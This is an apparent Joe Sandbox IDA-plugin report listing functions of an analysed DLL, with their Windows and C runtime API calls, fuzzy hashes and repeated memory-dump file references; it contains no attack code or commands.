Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: __decode_pointer__fileno__flsbuf__flush__getptd_noexit__locking
String ID:
API String ID: 3240763771-0
Opcode ID: be266a28c1a82b72dca359b1001788120794cb598de9e9e0b15c04949eb3edde
Instruction ID: 21c5db148dcb08b1d70380b7656794633b63a703247e1c1bd0ff996dbc86cdf8
Opcode Fuzzy Hash: be266a28c1a82b72dca359b1001788120794cb598de9e9e0b15c04949eb3edde
Instruction Fuzzy Hash: 4241B6B1A0AA04EFEF148FA9C88479EBBF5EF81360F268569D86497141DF70DD41CB48

Function 6A05A7F0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 215COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 6A05A848

Part of subcall function 6A07ED6C: __FF_MSGBANNER.LIBCMT ref: 6A07ED8F
Part of subcall function 6A07ED6C: __NMSG_WRITE.LIBCMT ref: 6A07ED96
Part of subcall function 6A07ED6C: RtlAllocateHeap.NTDLL(00000000,?,00000001,00000000,00000000,?,6A088DFF,?,00000001,?,?,6A087CE7,00000018,6A0A8F08,0000000C,6A087D78), ref: 6A07EDE3

Strings

%1s, xrefs: 6A05A918

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: AllocateHeap_malloc
String ID: %1s
API String ID: 501242067-3465968173
Opcode ID: 4daf897b1f1a86008a55c1bde41537ec084a9e7481f3b5dd7749980e972dfad3
Instruction ID: 799d4f38a55026b8b43b4b19240d2732e395dccaa5aa0ef254f90ba861b06bb5
Opcode Fuzzy Hash: 4daf897b1f1a86008a55c1bde41537ec084a9e7481f3b5dd7749980e972dfad3
Instruction Fuzzy Hash: A871F4719083419BC710CF248A887ABB7E5AFC9314F66492DE99847201EF31D916CBB7

Function 6A0742C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

Part of subcall function 6A0741C4: GetModuleHandleA.KERNEL32(KERNEL32,6A0742DE,?,?), ref: 6A0741D2
Part of subcall function 6A0741C4: GetProcAddress.KERNEL32(00000000,CreateActCtxW), ref: 6A0741F3
Part of subcall function 6A0741C4: GetProcAddress.KERNEL32(ReleaseActCtx), ref: 6A074205
Part of subcall function 6A0741C4: GetProcAddress.KERNEL32(ActivateActCtx), ref: 6A074217
Part of subcall function 6A0741C4: GetProcAddress.KERNEL32(DeactivateActCtx), ref: 6A074229

GetModuleFileNameW.KERNEL32(?,?,00000105,?,?), ref: 6A0742F8
SetLastError.KERNEL32(0000006F), ref: 6A07430F

Strings

, xrefs: 6A07432D

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: AddressProc$Module$ErrorFileHandleLastName
String ID:
API String ID: 2524245154-3916222277
Opcode ID: d29810b43ae6947fa94be6fb96be34ef9988928bbad44fd9ef765535e22827e4
Instruction ID: 43701f3ef163488ac685d5b3b60a35440e7c048b31a5d370ff4b08ffee965138
Opcode Fuzzy Hash: d29810b43ae6947fa94be6fb96be34ef9988928bbad44fd9ef765535e22827e4
Instruction Fuzzy Hash: B0217970990228AADB60DF74C88C7DEB7F8BF04324F50469AD0A9D7180DF759A86CF64

Function 6A070A98 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(?,?,00000104), ref: 6A070AC0
PathFindExtensionA.SHLWAPI(?), ref: 6A070AD6

Part of subcall function 6A070829: __EH_prolog3_GS.LIBCMT ref: 6A070833
Part of subcall function 6A070829: GetModuleHandleA.KERNEL32(kernel32.dll,0000015C,6A070AFA,?,?), ref: 6A070863
Part of subcall function 6A070829: GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 6A070877
Part of subcall function 6A070829: ConvertDefaultLocale.KERNEL32(?), ref: 6A0708B3
Part of subcall function 6A070829: ConvertDefaultLocale.KERNEL32(?), ref: 6A0708C1
Part of subcall function 6A070829: GetProcAddress.KERNEL32(?,GetSystemDefaultUILanguage), ref: 6A0708DE
Part of subcall function 6A070829: ConvertDefaultLocale.KERNEL32(?), ref: 6A070909
Part of subcall function 6A070829: ConvertDefaultLocale.KERNEL32(000003FF), ref: 6A070912
Part of subcall function 6A070829: GetModuleFileNameA.KERNEL32(6A040000,?,00000105), ref: 6A0709C7

Strings

%s%s.dll, xrefs: 6A070ADF

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: ConvertDefaultLocale$Module$AddressFileNameProc$ExtensionFindH_prolog3_HandlePath
String ID: %s%s.dll
API String ID: 1311856149-1649984862
Opcode ID: 3ce15fd307c82b190fde94f024ea9623d90a9fefeee01e324ac7ffb07347462e
Instruction ID: 0abc27682e349446091f0c4465a9e4da98921565cbca3f2a6e8560af858e4671
Opcode Fuzzy Hash: 3ce15fd307c82b190fde94f024ea9623d90a9fefeee01e324ac7ffb07347462e
Instruction Fuzzy Hash: 1E01DC72A0012CAFCB21CF68DC45BEF77ECAB4A700F0100A9EA01E7100DA70EE058BA5

Function 6A04DC90 Relevance: 4.6, APIs: 3, Instructions: 87networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6A04DCE5
select.WS2_32 ref: 6A04DD1D
recv.WS2_32(?,?,00000001,00000000), ref: 6A04DD47

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: _memsetrecvselect
String ID:
API String ID: 159336290-0
Opcode ID: 862da8b0b79994c6e6c9cf53920e1ba4ce0b845e2c06af2d4817af7a7f1922c3
Instruction ID: 5b83e51b2119cadef26f756b77b92c6407cb71c1df1feb31f01d5e792161e4fd
Opcode Fuzzy Hash: 862da8b0b79994c6e6c9cf53920e1ba4ce0b845e2c06af2d4817af7a7f1922c3
Instruction Fuzzy Hash: 1F31817174CB84AFE725CB24D884BEBB7E8FBC6318F00092DE19983641DB7694458B52

Function 6A0426F0 Relevance: 4.6, APIs: 3, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 6A06F32B: _malloc.LIBCMT ref: 6A06F349

_strncpy.LIBCMT ref: 6A04274F
_memset.LIBCMT ref: 6A042765
_sprintf.LIBCMT ref: 6A04277F

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: _malloc_memset_sprintf_strncpy
String ID:
API String ID: 3423381085-0
Opcode ID: d011b71e811e2941fe5ed6f35d6ff137587fa1a6b18d48f098dc5e34358a97e8
Instruction ID: c9c429db60357f7cca4d2339406b0735bbfafc588a3602086339ce4bb0b25fa5
Opcode Fuzzy Hash: d011b71e811e2941fe5ed6f35d6ff137587fa1a6b18d48f098dc5e34358a97e8
Instruction Fuzzy Hash: EE2180B1604701ABD324CF29C854B9BBBE8FF8A744F01452DE648C7251EB71E814CB96

Function 6A04DBF0 Relevance: 4.6, APIs: 3, Instructions: 54networkCOMMON

Download Yara Rule

APIs

select.WS2_32 ref: 6A04DC37
send.WS2_32(?,?,?,00000000), ref: 6A04DC52
WSAGetLastError.WS2_32(?,00000000,?,?,?,?,?,?,?,?,00000000,?,00000000,?), ref: 6A04DC5C

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: ErrorLastselectsend
String ID:
API String ID: 948727196-0
Opcode ID: 875a759746fa373e8d7ed3a5648a47154c19422b31ac528e5d6093086d05005b
Instruction ID: 611f547ee706d5988038b24e44df08160564eca95a673ed9c275b25e7a4947c1
Opcode Fuzzy Hash: 875a759746fa373e8d7ed3a5648a47154c19422b31ac528e5d6093086d05005b
Instruction Fuzzy Hash: 94110471608342DBF310DF74C844BABBBE8FB88318F514A2CE084C7282EBB4E4068B51

Function 6A05A1F0 Relevance: 3.2, APIs: 2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2df311d163b2e561aa8102f0f30801ec9ceabd8825fc672c18587405ea966bd5
Instruction ID: f7f111ebb68e55bb5779fd848e5efec18185592323cdce55c63f5131bca688dc
Opcode Fuzzy Hash: 2df311d163b2e561aa8102f0f30801ec9ceabd8825fc672c18587405ea966bd5
Instruction Fuzzy Hash: 3A51EBB5A047059FC714CF2AC4C5A6AF7E0BF88314F91856EE9198B702DB31E864CF96

Function 6A047430 Relevance: 3.1, APIs: 2, Instructions: 74COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6A047469
_strncpy.LIBCMT ref: 6A047486

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: _memset_strncpy
String ID:
API String ID: 3140232205-0
Opcode ID: 9f5b1c3499c273b6f8dc38d74a3ea0dcb044cfe4f5b98005285da038f55d98cc
Instruction ID: 1885e629cd4f7cad730897f550465c4d1862d65ec8ededb472060550b8c0cd42
Opcode Fuzzy Hash: 9f5b1c3499c273b6f8dc38d74a3ea0dcb044cfe4f5b98005285da038f55d98cc
Instruction Fuzzy Hash: 932104726042049FD310CF18D891BEBB7D9EBC9318F40492DE689C3241DF35D9488BA3

Function 6A051120 Relevance: 3.1, APIs: 2, Instructions: 71COMMON

Download Yara Rule

APIs

Part of subcall function 6A050970: _memset.LIBCMT ref: 6A050A59
Part of subcall function 6A050970: _memset.LIBCMT ref: 6A050A76

SetEvent.KERNEL32(?), ref: 6A0511C8
SetEvent.KERNEL32(?), ref: 6A0511E2

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: Event_memset
String ID:
API String ID: 2932554400-0
Opcode ID: 8005b4961e34d24d60aa09ddd6ed24072caaf45b57781014df4e2f12d3829d00
Instruction ID: 6cf0d1824c85096ca4f1c7de3ab4a55ffbdbd5badac184f7b4faf8a7807eec6d
Opcode Fuzzy Hash: 8005b4961e34d24d60aa09ddd6ed24072caaf45b57781014df4e2f12d3829d00
Instruction Fuzzy Hash: 18214DB19083418FC710DF99D58095BFBF4BF89304F504A6DE8CA97611D731E948CBA2

Function 6A07F38F Relevance: 3.0, APIs: 2, Instructions: 39COMMON

Download Yara Rule

APIs

Part of subcall function 6A082DCA: __getptd_noexit.LIBCMT ref: 6A082DCA

Part of subcall function 6A0824F4: __decode_pointer.LIBCMT ref: 6A0824FF

__lock_file.LIBCMT ref: 6A07F3DF

Part of subcall function 6A089D3F: __lock.LIBCMT ref: 6A089D64

__fclose_nolock.LIBCMT ref: 6A07F3E9

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: __decode_pointer__fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 717694121-0
Opcode ID: 518cb075bda8169f1610386ef766083aa55d1252ed1f25697b19aa04f5fb864a
Instruction ID: d9fde32a9dc7ed29042449c8d64e43b587d48088680df330102cbe3ec5471158
Opcode Fuzzy Hash: 518cb075bda8169f1610386ef766083aa55d1252ed1f25697b19aa04f5fb864a
Instruction Fuzzy Hash: 4EF0F6B0C407089ACB34AB6D880479E7EE4AF45338F528745D138A71D2CF788602DB5D

Function 6A0473D0 Relevance: 3.0, APIs: 2, Instructions: 33fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6A049080: _strrchr.LIBCMT ref: 6A049097

DeleteFileA.KERNEL32(?,?,?,6A04184E,?), ref: 6A0473FF
GetLastError.KERNEL32(?,?,6A04184E,?), ref: 6A047405

Part of subcall function 6A045EF0: CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000003,00000080,00000000,?,00000000,?,6A0473EF,?,?,6A04184E,?), ref: 6A045F05
Part of subcall function 6A045EF0: GetFileSize.KERNEL32(00000000,?,?,6A0473EF,?,?,6A04184E,?), ref: 6A045F1B
Part of subcall function 6A045EF0: CloseHandle.KERNEL32(00000000,?,6A0473EF,?,?,6A04184E,?), ref: 6A045F3D

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
